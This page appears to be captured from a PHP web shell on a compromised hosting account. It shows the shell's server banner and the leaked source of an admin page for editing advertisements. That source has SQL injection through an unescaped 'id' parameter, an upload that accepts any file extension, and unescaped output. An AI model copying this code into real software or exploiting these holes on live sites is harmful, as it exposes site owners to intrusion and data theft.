%PDF- %GIF98; %PNG;
Server : ApacheSystem : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64 User : ndkhermy ( 1200) PHP Version : 8.5.12 Disable Function : NONE Directory : /home1/ndkhermy/www/website_93b53270/admin/manage_advertising/ |
Upload File : |
<?php
error_reporting(0);
include("../function.php");
if($_SESSION['admin_id']==""){
header('location:../login.php');
}
$login_tbl=mysqli_fetch_array(mysqli_query($conn,"SELECT * FROM admin WHERE admin_id='".$_SESSION['admin_id']."'"));
// Sidebar strat
include('../include/sidebar.php');
// Sidebar wrap
$id=$_GET['id'];
?>
<!-- [ Main Content ] start -->
<section class="pcoded-main-container">
<div class="pcoded-content">
<!-- [ breadcrumb ] start -->
<div class="page-header">
<div class="page-block">
<div class="row align-items-center">
<div class="col-md-12">
<div class="page-header-title">
<div class="card-header d-flex justify-content-between">
<button class="btn btn-dark text-light fw-bold btn-sm btn-round has-ripple"><i class="feather icon-edit"></i> Add | Edit | Advertising </button>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- [ breadcrumb ] end -->
<!-- [ Main Content ] start -->
<div class="row">
<div class="col-md-12">
<div class="card">
<!-- <div class="card-header d-flex justify-content-between">
</div> -->
<div class="card-body">
<?php if(isset($_SESSION['otp_message'])){
echo '<div class="alert alert-success alert-dismissible fade show" role="alert">
<strong class="text-dark">'.$_SESSION['otp_message'].'</strong>
<button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close">
</button>
</div>';
}
unset($_SESSION['otp_message']);
?>
<?php
$fetQuery=mysqli_fetch_array(mysqli_query($conn,"SELECT * FROM advertising_tbl WHERE id='$id'"));
?>
<form method="post" action="" enctype="multipart/form-data" autocomplete="off">
<div class="row">
<div class="col-md-6">
<div class="form-group">
<label class="form-label" for="Title">Title</label>
<input type="text" name="title" class="form-control" value="<?php if($id!=''){echo $fetQuery['title'];} ?>">
</div>
</div>
<div class="col-md-6">
<div class="form-group">
<label class="form-label" for="Title">Title Arabic</label>
<input type="text" name="title_ar" class="form-control" value="<?php if($id!=''){echo $fetQuery['title_ar'];} ?>">
</div>
</div>
<div class="col-md-6">
<div class="form-group">
<label class="form-label" for="Heading">Heading</label>
<input type="text" name="title1" class="form-control" value="<?php if($id!=''){echo $fetQuery['title1'];} ?>">
</div>
</div>
<div class="col-md-6">
<div class="form-group">
<label class="form-label" for="Heading">Heading Arabic</label>
<input type="text" name="title1_ar" class="form-control" value="<?php if($id!=''){echo $fetQuery['title1_ar'];} ?>">
</div>
</div>
<div class="col-md-6">
<div class="form-group">
<label class="form-label" for="title">Image1</label>
<input type="file" name="image1" class="form-control">
</div>
<?php if($id!=''){ ?>
<img src="<?=$base_url?>images/Upload/advertising/<?=$fetQuery["image1"];?>" style="width:100px; margin:8px;">
<?php } ?>
</div>
<div class="col-md-6">
<div class="form-group">
<label class="form-label" for="status">Status</label>
<select class="form-select" name="status" required>
<option value="">Please select status</option>
<option value="1" <?=($fetQuery['status']=='1')?'selected':'';?>>Show</option>
<option value="0" <?=($fetQuery['status']=='0')?'selected':'';?>>Hide</option>
</select>
</div>
</div>
</div>
<div class="row">
<div class="col-md-6">
<?php
if(($id!='')){
echo'<input type="submit" name="update" class="btn btn-success" value="Update">';
}else{
echo'<input type="submit" name="add" class="btn btn-success" value="Add">';
}
?>
<button class="btn btn-dark"><a class="text-white" href="show.php?page=advert">Back</a></button>
</div>
</div>
</form>
</div>
</div>
</div>
<!-- [ form-element ] end -->
</div>
<!-- [ Main Content ] end -->
</div>
</section>
<?php include('../include/footer.php'); ?>
<!-- Insert data start --->
<?php
if(isset($_POST['add'])){
$title=$_POST['title'];
$title=str_replace("'", "\'", $title);
$title1=$_POST['title1'];
$title1=str_replace("'", "\'", $title1);
$title_ar=$_POST['title_ar'];
$title_ar=str_replace("'", "\'", $title_ar);
$title1_ar=$_POST['title1_ar'];
$title1_ar=str_replace("'", "\'", $title1_ar);
$slug=create_url($title);
$status=$_POST['status'];
$file_name = $_FILES['image1']['name'];
$file_tmp = $_FILES['image1']['tmp_name'];
$file_ext = strtolower(end(explode('.',$file_name)));
$random_number = rand(111111111, 999999999);
$new_file_name = $random_number . '.' . $file_ext;
$file_path = "../../images/Upload/advertising/" . $new_file_name;
move_uploaded_file($file_tmp, $file_path);
$addQry=mysqli_query($conn,
"INSERT `advertising_tbl` SET
`title`='$title',
`title1`='$title1',
`title_ar`='$title_ar',
`title1_ar`='$title1_ar',
`image1`='$new_file_name',
`slug`='$slug',
`status`='$status'")or die(mysqli_error($conn));
if($addQry){
echo "<script>window.location='show.php?page=advert';</script>";
$_SESSION['message']="Record Added successfully";
}
}
?>
<!-- Insert data warp --->
<!-- Update data start --->
<?php
if(isset($_POST['update'])){
$title=$_POST['title'];
$title=str_replace("'", "\'", $title);
$title1=$_POST['title1'];
$title1=str_replace("'", "\'", $title1);
$title_ar=$_POST['title_ar'];
$title_ar=str_replace("'", "\'", $title_ar);
$title1_ar=$_POST['title1_ar'];
$title1_ar=str_replace("'", "\'", $title1_ar);
$slug=create_url($title);
$status=$_POST['status'];
$file_name = $_FILES['image1']['name'];
$file_tmp = $_FILES['image1']['tmp_name'];
$file_ext = strtolower(end(explode('.',$file_name)));
if(!empty($file_name)){
$random_number = rand(111111111, 999999999);
$new_file_name = $random_number . '.' . $file_ext;
$file_path = "../../images/Upload/advertising/" . $new_file_name;
$dl=mysqli_fetch_array(mysqli_query($conn,"SELECT * FROM `advertising_tbl` WHERE id='$id'"));
if($dl)
{
unlink('../../images/Upload/advertising/'.$dl['image1']);
}
move_uploaded_file($file_tmp, $file_path);
mysqli_query($conn,"UPDATE `advertising_tbl` SET `image1`='$new_file_name' WHERE id='$id'");
}
$editQry=mysqli_query($conn,"UPDATE `advertising_tbl` SET
`title`='$title',
`title1`='$title1',
`title_ar`='$title_ar',
`title1_ar`='$title1_ar',
`slug`='$slug',
`status`='$status' WHERE id='$id'")or die(mysqli_error($conn));
if($editQry){
echo "<script>window.location='show.php?page=advert';</script>";
$_SESSION['message']="Record Updated successfully";
}
}
?>
<!-- Update data warp --->